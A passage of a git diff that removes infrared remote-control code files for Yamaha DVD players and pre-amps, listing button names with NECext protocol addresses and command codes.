parsed -protocol: NECext -address: B0 00 00 00 -command: 83 00 00 00 -# -name: MENU_UP -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 85 00 00 00 -# -name: CURSER_UP -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 85 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 85 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 85 00 00 00 -# -name: MENU_DOWN -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 86 00 00 00 -# -name: CURSER_DOWN -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 86 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 86 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 86 00 00 00 -# -name: MENU_LEFT -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 87 00 00 00 -# -name: CURSER_LEFT -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 87 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 87 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 87 00 00 00 -# -name: MENU_RIGHT -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 88 00 00 00 -# -name: CURSER_RIGHT -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 88 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 88 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 88 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 89 00 00 00 -# -name: >10 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 89 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 8A 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 8C 00 00 00 -# -name: PLAY_MODE -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 8D 00 00 00 -# -name: MARKER -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 8E 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 90 00 00 00 -# -name: -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 90 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 91 00 00 00 -# -name: SUB-TITLE -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 91 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 92 00 00 00 -# -name: ON_SCREEN -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 92 00 00 00 -# -name: SET_UP -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 94 00 00 00 -# -name: SET-UP -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 94 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 94 00 00 00 -# -name: TITLE -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 9B 00 00 00 -# -name: TOP_MENU -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 9B 00 00 00 -# -name: TOP_MENU/DIR_NAVI -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 9B 00 00 00 -# -name: V.S.S. -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 9E 00 00 00 -# -name: VSS -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 9E 00 00 00 -# -name: -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 9E 00 00 00 -# -name: ZOOM -type: parsed -protocol: NECext -address: B0 00 00 00 -command: C1 00 00 00 -# -name: GROUP -type: parsed -protocol: NECext -address: B0 00 00 00 -command: E0 00 00 00 -# -name: VIDEO_OFF -type: parsed -protocol: NECext -address: B0 00 00 00 -command: E1 00 00 00 -# -name: PAGE -type: parsed -protocol: NECext -address: B0 00 00 00 -command: E5 00 00 00 -# -name: CINEMA -type: parsed -protocol: NECext -address: B0 00 00 00 -command: E5 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DVD Player/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DVD Player/4,-1.ir deleted file mode 100644 index 855a4bdfb..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DVD Player/4,-1.ir +++ /dev/null @@ -1,1088 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 00 00 00 00 -# -name: 0B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 01 00 00 00 -# -name: 1B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: 2B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 03 00 00 00 -# -name: 3B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 04 00 00 00 -# -name: 4B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 05 00 00 00 -# -name: 5B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 06 00 00 00 -# -name: 6B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 07 00 00 00 -# -name: 7B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 08 00 00 00 -# -name: 8B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 09 00 00 00 -# -name: 9B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 09 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0C 00 00 00 -# -name: POWER_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0C 00 00 00 -# -name: POWER_A -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0C 00 00 00 -# -name: POWER_TOGGLE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0C 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0D 00 00 00 -# -name: ON_SCREEN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0F 00 00 00 -# -name: ON_SCREEN_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0F 00 00 00 -# -name: OSD -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0F 00 00 00 -# -name: OSD_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0F 00 00 00 -# -name: DIMMER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 13 00 00 00 -# -name: DIMMER_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 13 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1C 00 00 00 -# -name: SHUFFLE_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1C 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1D 00 00 00 -# -name: RPT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1D 00 00 00 -# -name: RPT_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1D 00 00 00 -# -name: REPEAT_A -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1D 00 00 00 -# -name: REPEAT_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1D 00 00 00 -# -name: FRAME_>> -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 20 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 20 00 00 00 -# -name: SKIP_>>_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 20 00 00 00 -# -name: SCAN_>>_A -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 20 00 00 00 -# -name: SCAN_>>_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 20 00 00 00 -# -name: CHAPTER_> -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 20 00 00 00 -# -name: NEXT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 20 00 00 00 -# -name: CHAPTER_+ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 20 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 20 00 00 00 -# -name: TRACK_+ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 20 00 00 00 -# -name: SKIP>> -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 20 00 00 00 -# -name: FF_>> -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 20 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 21 00 00 00 -# -name: SKIP_<<_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 21 00 00 00 -# -name: SCAN_<<_A -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 21 00 00 00 -# -name: SCAN_<<_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 21 00 00 00 -# -name: CHAPTER_< -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 21 00 00 00 -# -name: PREVIOUS -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 21 00 00 00 -# -name: CHAPTER_- -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 21 00 00 00 -# -name: TRACK_- -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 21 00 00 00 -# -name: PREV -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 21 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 21 00 00 00 -# -name: FRAME_<< -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 21 00 00 00 -# -name: REW_<< -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 21 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 2A 00 00 00 -# -name: SCAN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 2A 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 2C 00 00 00 -# -name: PLAY_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 2C 00 00 00 -# -name: PLAY_A -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 2C 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 30 00 00 00 -# -name: PAUSE_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 30 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 31 00 00 00 -# -name: STOP_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 31 00 00 00 -# -name: SIDE_A/B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 3B 00 00 00 -# -name: SIDE_A/B_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 3B 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 3B 00 00 00 -# -name: A/B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 3B 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 3F 00 00 00 -# -name: BIT_1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 48 00 00 00 -# -name: CD_TEXT/BIT_RATE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 48 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4B 00 00 00 -# -name: SUBTITLE_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4B 00 00 00 -# -name: SUB-T -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4B 00 00 00 -# -name: SUB-T_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4B 00 00 00 -# -name: SUBTILE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4B 00 00 00 -# -name: SUB-TITLE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4B 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4E 00 00 00 -# -name: AUDIO_MODE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4E 00 00 00 -# -name: AUDIO_MODE_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4E 00 00 00 -# -name: SOUND_MODE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 50 00 00 00 -# -name: SOUND_MODE_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 50 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 50 00 00 00 -# -name: MODE_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 50 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 54 00 00 00 -# -name: MENU_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 54 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 58 00 00 00 -# -name: CURSOR_UP_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 58 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 58 00 00 00 -# -name: UP_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 58 00 00 00 -# -name: TOGGLE_UP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 58 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 58 00 00 00 -# -name: C_UP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 58 00 00 00 -# -name: CURSER_UP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 58 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 59 00 00 00 -# -name: CURSOR_DOWN_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 59 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 59 00 00 00 -# -name: DOWN_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 59 00 00 00 -# -name: TOGGLE_DOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 59 00 00 00 -# -name: ARROW_DN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 59 00 00 00 -# -name: C_DOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 59 00 00 00 -# -name: CURSER_DOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 59 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5A 00 00 00 -# -name: CURSOR_LEFT_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5A 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5A 00 00 00 -# -name: LEFT_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5A 00 00 00 -# -name: TOGGLE_LEFT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5A 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5A 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5A 00 00 00 -# -name: C_LEFT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5A 00 00 00 -# -name: REWIND -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5A 00 00 00 -# -name: CURSER_LEFT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5A 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5B 00 00 00 -# -name: CURSOR_RIGHT_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5B 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5B 00 00 00 -# -name: RIGHT_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5B 00 00 00 -# -name: TOGGLE_RIGHT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5B 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5B 00 00 00 -# -name: C_RIGHT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5B 00 00 00 -# -name: FAST_FOWARD -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5B 00 00 00 -# -name: CURSER_RIGHT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5B 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5C 00 00 00 -# -name: ENTER_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5C 00 00 00 -# -name: ENTER_A -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5C 00 00 00 -# -name: CURSOR_ENTER/ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5C 00 00 00 -# -name: CURSOR_ENTER/OK -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5C 00 00 00 -# -name: CURSOR_ENTER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5C 00 00 00 -# -name: ENTER/_OK -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5C 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5C 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5C 00 00 00 -# -name: ENTER/OK -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5C 00 00 00 -# -name: DISC_SKIP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 7F 00 00 00 -# -name: DISK_SKIP_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 7F 00 00 00 -# -name: DISC_SKIP_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 7F 00 00 00 -# -name: DISK_SKIP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 7F 00 00 00 -# -name: DSIC_SKIP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 7F 00 00 00 -# -name: OSD -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 82 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 82 00 00 00 -# -name: SETUP_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 82 00 00 00 -# -name: ON_SCREEN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 82 00 00 00 -# -name: SET_UP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 82 00 00 00 -# -name: RESUME -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 83 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 83 00 00 00 -# -name: TOP_MENU -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 83 00 00 00 -# -name: TOP_MENU_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 83 00 00 00 -# -name: RTRN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 83 00 00 00 -# -name: RTRN_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 83 00 00 00 -# -name: TOP_MENU/RETURN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 83 00 00 00 -# -name: TOP_MENU/RETURN_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 83 00 00 00 -# -name: RETURN/RESUME -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 83 00 00 00 -# -name: RETRUN/RESUME -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 83 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 85 00 00 00 -# -name: ANGLE_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 85 00 00 00 -# -name: AUDIO_DIRECT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 8C 00 00 00 -# -name: A-DIR -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 8C 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 8E 00 00 00 -# -name: DISC_RANDOM -type: parsed -protocol: NECext -address: 04 00 00 00 -command: A4 00 00 00 -# -name: PLAY_NORMAL -type: parsed -protocol: NECext -address: 04 00 00 00 -command: A5 00 00 00 -# -name: DISC_REPEAT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: A6 00 00 00 -# -name: REPEAT_OFF -type: parsed -protocol: NECext -address: 04 00 00 00 -command: A7 00 00 00 -# -name: T/C -type: parsed -protocol: NECext -address: 04 00 00 00 -command: C8 00 00 00 -# -name: TITLE/_CHAPTER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: C8 00 00 00 -# -name: TITLE/CHAPTER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: C8 00 00 00 -# -name: PAGE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: CF 00 00 00 -# -name: PAGE_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: CF 00 00 00 -# -name: SCAN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: D5 00 00 00 -# -name: SCAN_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: D5 00 00 00 -# -name: STATUS -type: parsed -protocol: NECext -address: 04 00 00 00 -command: EF 00 00 00 -# -name: BIT_2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: EF 00 00 00 -# -name: DISPLAY/_BIT_RATE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: EF 00 00 00 -# -name: BIT_RATE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: EF 00 00 00 -# -name: ZOOM -type: parsed -protocol: NECext -address: 04 00 00 00 -command: F7 00 00 00 -# -name: ZOOM_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: F7 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 04 00 00 00 -command: FB 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DVD Pre-amp/120,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DVD Pre-amp/120,-1.ir deleted file mode 100644 index ef1c63041..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DVD Pre-amp/120,-1.ir +++ /dev/null @@ -1,176 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 0F 00 00 00 -# -name: PRESET_+ -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 1B 00 00 00 -# -name: PRESET_- -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 1C 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 1E 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 1F 00 00 00 -# -name: AMP:_LEVEL -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 48 00 00 00 -# -name: INPUT:_VCR -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 49 00 00 00 -# -name: INPUT:_DVD -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 4A 00 00 00 -# -name: INPUT:_TUNER -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 4B 00 00 00 -# -name: SLEEP -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 4F 00 00 00 -# -name: AMP:_STEREO -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 50 00 00 00 -# -name: AMP:_TEST -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 5F 00 00 00 -# -name: AMP:_BASS_BOOST -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 8B 00 00 00 -# -name: AMP:_MATRIX_6.1 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 90 00 00 00 -# -name: AMP:_HALL -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 91 00 00 00 -# -name: AMP:_JAZZ -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 92 00 00 00 -# -name: ROCK -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 93 00 00 00 -# -name: AMP:_ENTERTAINMENT -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 94 00 00 00 -# -name: AMP:_SPORTS -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 95 00 00 00 -# -name: AMP:_MONO_MOVIE -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 96 00 00 00 -# -name: AMP:_MOVIE_1 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 97 00 00 00 -# -name: AMP:_MOVIE_2 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 98 00 00 00 -# -name: AMP:_DOLBY/DTS -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 99 00 00 00 -# -name: AMP:_SELECT -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 9A 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 9C 00 00 00 -# -name: AMP:_SET_MENU -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 9D 00 00 00 -# -name: INPUT:_CD-R/MD -type: parsed -protocol: NECext -address: 78 00 00 00 -command: D0 00 00 00 -# -name: INPUT:_VIDEO_2 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: DE 00 00 00 -# -name: INPUT:_VIDEO_1 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: DF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DVD Pre-amp/124,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DVD Pre-amp/124,-1.ir deleted file mode 100644 index 7bb2c1962..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DVD Pre-amp/124,-1.ir +++ /dev/null @@ -1,254 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 81 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 82 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 83 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 85 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 86 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 86 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 87 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 87 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 93 00 00 00 -# -name: AMP -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 93 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 94 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 95 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 95 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 96 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 96 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 97 00 00 00 -# -name: MARKER -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 97 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 98 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 99 00 00 00 -# -name: PLAY_MODE -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 99 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 9A 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 9A 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 9B 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 9C 00 00 00 -# -name: >10 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 9D 00 00 00 -# -name: GROUP -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 9D 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 9F 00 00 00 -# -name: CANCEL -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 9F 00 00 00 -# -name: PAGE -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 9F 00 00 00 -# -name: ON_SCREEN -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: A6 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: AA 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: AD 00 00 00 -# -name: TOP_MENU -type: parsed -protocol: NECext 